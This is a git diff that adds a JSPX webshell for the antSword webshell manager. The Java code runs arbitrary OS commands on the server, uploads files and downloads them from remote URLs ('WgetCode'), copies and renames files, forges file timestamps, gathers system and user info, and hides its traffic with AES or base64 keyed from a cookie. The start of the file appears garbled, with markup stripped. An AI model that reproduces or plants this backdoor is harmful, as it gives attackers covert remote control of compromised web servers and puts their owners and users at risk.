diff --git a/antSword-shells/jspx_custom_script_for_mysql.jspx b/antSword-shells/jspx_custom_script_for_mysql.jspx new file mode 100644 index 0000000..bed248c --- /dev/null +++ b/antSword-shells/jspx_custom_script_for_mysql.jspx @@ -0,0 +1,570 @@ + + + + + + + + + + + + + "+"|").getBytes(), 0, 3); + while ((n = is.read(b, 0, 512)) != -1) { + os.write(b, 0, n); + } + os.write(("|"+"<-").getBytes(), 0, 3); + os.close(); + is.close(); + } + + String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { + String h = "0123456789ABCDEF"; + File f = new File(savefilePath); + f.createNewFile(); + FileOutputStream os = new FileOutputStream(f,true); + for (int i = 0; i < fileHexContext.length(); i += 2) { + os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); + } + os.close(); + return "1"; + } + + String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { + File sf = new File(sourceFilePath), df = new File(targetFilePath); + if (sf.isDirectory()) { + if (!df.exists()) { + df.mkdir(); + } + File z[] = sf.listFiles(); + for (int j = 0; j < z.length; j++) { + CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); + } + } else { + FileInputStream is = new FileInputStream(sf); + FileOutputStream os = new FileOutputStream(df); + int n; + byte[] b = new byte[1024]; + while ((n = is.read(b, 0, 1024)) != -1) { + os.write(b, 0, n); + } + is.close(); + os.close(); + } + return "1"; + } + + String RenameFileOrDirCode(String oldName, String newName) throws Exception { + File sf = new File(oldName), df = new File(newName); + sf.renameTo(df); + return "1"; + } + + String CreateDirCode(String dirPath) throws Exception { + File f = new File(dirPath); + f.mkdir(); + return "1"; + } + + String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { + File f = new File(fileOrDirPath); + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + java.util.Date dt = fm.parse(aTime); + f.setLastModified(dt.getTime()); + return "1"; + } + + String WgetCode(String urlPath, String saveFilePath) throws Exception { + URL u = new URL(urlPath); + int n = 0; + FileOutputStream os = new FileOutputStream(saveFilePath); + HttpURLConnection h = (HttpURLConnection) u.openConnection(); + InputStream is = h.getInputStream(); + byte[] b = new byte[512]; + while ((n = is.read(b)) != -1) { + os.write(b, 0, n); + } + os.close(); + is.close(); + h.disconnect(); + return "1"; + } + + String SysInfoCode(HttpServletRequest r) throws Exception { + String d = ""; + try { + if(r.getSession().getServletContext().getRealPath("/") != null){ + d = r.getSession().getServletContext().getRealPath("/"); + }else{ + String cd = this.getClass().getResource("/").getPath(); + d = new File(cd).getParent(); + } + } catch (Exception e) { + String cd = this.getClass().getResource("/").getPath(); + d = new File(cd).getParent(); + } + d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1); + String serverInfo = (String)System.getProperty("os.name"); + String separator = File.separator; + String user = (String)System.getProperty("user.name"); + String driverlist = WwwRootPathCode(d); + return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; + } + + boolean isWin() { + String osname = (String)System.getProperty("os.name"); + osname = osname.toLowerCase(); + if (osname.startsWith("win")) + return true; + return false; + } + + String ExecuteCommandCode(String cmdPath, String command) throws Exception { + StringBuffer sb = new StringBuffer(""); + String[] c = { cmdPath, !isWin() ? "-c" : "/c", command }; + Process p = Runtime.getRuntime().exec(c); + CopyInputStream(p.getInputStream(), sb); + CopyInputStream(p.getErrorStream(), sb); + return sb.toString(); + } + + String getEncoding(String str) { + String encode[] = new String[]{ + "UTF-8", + "ISO-8859-1", + "GB2312", + "GBK", + "GB18030", + "Big5", + "Unicode", + "ASCII" + }; + for (int i = 0; i < encode.length; i++){ + try { + if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) { + return encode[i]; + } + } catch (Exception ex) { + } + } + + return ""; + } + String strtohexstr(String fileContext)throws Exception{ + String h = "0123456789ABCDEF"; + byte[] bytes = fileContext.getBytes(cs); + + StringBuilder sb = new StringBuilder(bytes.length * 2); + for (int i = 0; i < bytes.length; i++) { + sb.append(h.charAt((bytes[i] & 0xf0) >> 4)); + sb.append(h.charAt((bytes[i] & 0x0f) >> 0)); + } + String fileHexContext = sb.toString(); + return fileHexContext; + } + + String asenc(String str, String decode){ + if(decode.equals("hex") || decode=="hex"){ + return strtohexstr(str); + }else if(decode.equals("base64") || decode == "base64"){ + String sb = ""; + sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); + sb = encoder.encode(str.getBytes()); + return sb; + }else if(decode.equals("hex_base64") || decode == "hex_base64"){ + return asenc(asenc(str, "base64"), "hex"); + }else if(decode.equals("aes_base64") || decode == "aes_base64"){ + String sb1 = ""; + sb1 = AesEncrypt(AesKey, asenc(str, "base64")); + return sb1.replace("\r\n",""); + } + return str; + } + + String decode(String str) { + byte[] bt = null; + try { + sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); + bt = decoder.decodeBuffer(str); + } catch (IOException e) { + e.printStackTrace(); + } + return new String(bt); + } + String decode(String str, String encode) throws Exception{ + if(encode.equals("hex") || encode=="hex"){ + if(str=="null"||str.equals("null")){ + return ""; + } + String hexString = "0123456789ABCDEF"; + str = str.toUpperCase(); + ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2); + String ss = ""; + for (int i = 0; i < str.length(); i += 2){ + ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; + baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); + } + return baos.toString(cs); + }else if(encode.equals("base64") || encode == "base64"){ + byte[] bt = null; + sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); + bt = decoder.decodeBuffer(str); + return new String(bt,cs); + }else if(encode.equals("aes") || encode == "aes") { + String str1 = AesDecrypt(AesKey, str); + return str1.trim(); + } + return str; + } + + String AesEncrypt(String key, String cleartext) throws Exception { + IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes()); + SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES"); + Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding)); + cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv); + byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8")); + sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); + String sb = encoder.encode(encryptedData); + return sb; + } + + String AesDecrypt(String key ,String encrypted) throws Exception { + sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); + byte[] byteMi = decoder.decodeBuffer(encrypted); + IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes()); + SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES"); + Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding)); + cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv); + byte[] decryptedData = cipher.doFinal(byteMi); + return new String(decryptedData, "UTF-8"); + } + + String getKeyFromCookie(Cookie[] cookies){ + String key = ""; + StringBuilder result = new StringBuilder(); + if( cookies != null ){ + for (Cookie c : cookies) { + if (c.getName().equals(SessionKey)) { + key = c.getValue(); + break; + } + } + } + if(key.length() < aes_keylen){ + for(int i=0;key.length() < aes_keylen;i++){ + key += aes_key_padding; + } + }if(key.length() > aes_keylen){ + key = key.substring(0,aes_keylen); + } + return key; + } + + void CopyInputStream(InputStream is, StringBuffer sb) throws Exception { + String l; + BufferedReader br = new BufferedReader(new InputStreamReader(is, cs)); + while ((l = br.readLine()) != null) { + sb.append(l + "\r\n"); + } + br.close(); + } + ]]> + + + + +